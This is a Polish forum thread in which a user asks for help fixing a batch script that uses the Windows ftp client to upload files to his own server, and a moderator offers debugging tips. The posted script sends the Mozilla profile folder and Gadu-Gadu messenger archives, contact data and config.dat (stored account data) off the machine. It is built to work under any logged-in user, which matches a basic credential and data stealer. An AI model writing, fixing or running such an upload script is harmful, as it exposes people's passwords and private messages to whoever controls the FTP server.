Ścieżka z %appdata% albo %userprofile%

lesio7

Użytkownik
Dołączył
Grudzień 6, 2010
Posty
2
Witam ostatnio piszę skrypt wysyłający dane, pliki na mój FTP. Problem pojawia się w następującej linijce.

send "%appdata%\Mozilla"

niestety w ten sposób nie działa natomiast

send "C:\Documents and Settings\xxx\Dane aplikacji\Mozilla"

ale w ten juz działa.

Niewygodne jest wykonywanie oddzielnego skryptu na każdy inny login.
W czym tkwi problem ?
 

discovery44

Były Moderator
Dołączył
Sierpień 14, 2007
Posty
763
Wejdź w ustawienia komputera (ppm na mój komputer [nie na skrót]) i sprawdź zmienne środowiskowe jakie masz. Prawdopodobnie to wina albo jednego backslasha - postaw \\ albo cudzysłowu, może "%appdata%" odczytywane jest jako "stały tekst".
 

lesio7

Użytkownik
Dołączył
Grudzień 6, 2010
Posty
2
plik .bat
ftp -n -s:ftp.log ftp.xxx


ftp.log
user xxx xxx
send "C:\Documents and Settings\lol\Gadu-Gadu\Ja\aconv.dat"
send %userprofile%\Gadu-Gadu\Ja\archives.dat
send "%userprofile%\Gadu-Gadu\Ja\config.dat"
send "%userprofile%"\Gadu-Gadu\Ja\smseab.dat
quit

tylko pierwszy plik sie wysłał na ftp (gdy był bez "", oczywiście sie nie wyslał)


gdy wpisuje w cmd %userprofile%"\Gadu-Gadu\Ja to wchodze w w ten folder i dziala, wiec czemu ? czy .bat nie obsluguje tego?



Jeśli chodzi o zmienne środowiskowe

to

Temp
%USERPROFILE%\Ustawienia lokalne\Temp
Tmp
%USERPROFILE%\Ustawienia lokalne\Temp


a nizej w zmienne systemowe

(jakies tam glupoty)
TEMP
%SystemRoot%\TEMP
TMP
%SystemRoot%\TEMP
 
Do góry Bottom